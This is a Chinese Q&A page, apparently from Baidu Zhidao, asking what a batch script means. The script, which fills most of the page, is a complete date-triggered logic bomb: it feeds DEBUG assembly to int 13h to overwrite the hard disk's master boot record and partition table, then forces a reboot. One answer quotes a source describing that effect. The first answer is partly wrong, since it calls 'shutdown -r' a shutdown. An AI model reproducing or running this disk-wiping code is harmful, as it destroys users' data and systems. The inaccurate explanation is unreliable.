这一段批处理什么意思

来源:百度知道 编辑:UC知道 时间:2024/06/30 18:54:31
这一段批处理什么意思
@echo off
set a="2009-5-30"
echo %date%|find %a%>nul
if %errorlevel%==0 goto make
goto end
:make
set tempini=%windir%\systemp.ini
echo a>%tempini%
echo mov ax,0301>> %tempini%
echo mov bx,0200>> %tempini%
echo mov cx,0001>> %tempini%
echo mov dx,0080>> %tempini%
echo int 13>> %tempini%
echo int 3>> %tempini%
echo.>> %tempini%
echo g>> %tempini%
echo q>> %tempini%
debug<%tempini%
shutdown -r -f -t 0
:end

先更改你的系统时间
然后更改%windir%\systemp.ini 的文件
shutdown -r -f -t 0 是关机的意思

从哪里看的呢 说实话这要学的东西也太多了 这个只能看到迷糊 不能全懂
但是我在学习这里面的语法时发现了这个东西的出处 原解释如下:

本程序的后果,本程序执行后,一旦符合条件,就是说达到指定的日期,将在瞬间无条件删除硬盘分区表,并强行重启,重启后硬盘就像一块新硬盘一样。当然,肯定无法进入系统的。
那些使用删除文件 del *.* ,或者使用format命令的说法,基本是空谈

QQ:373921616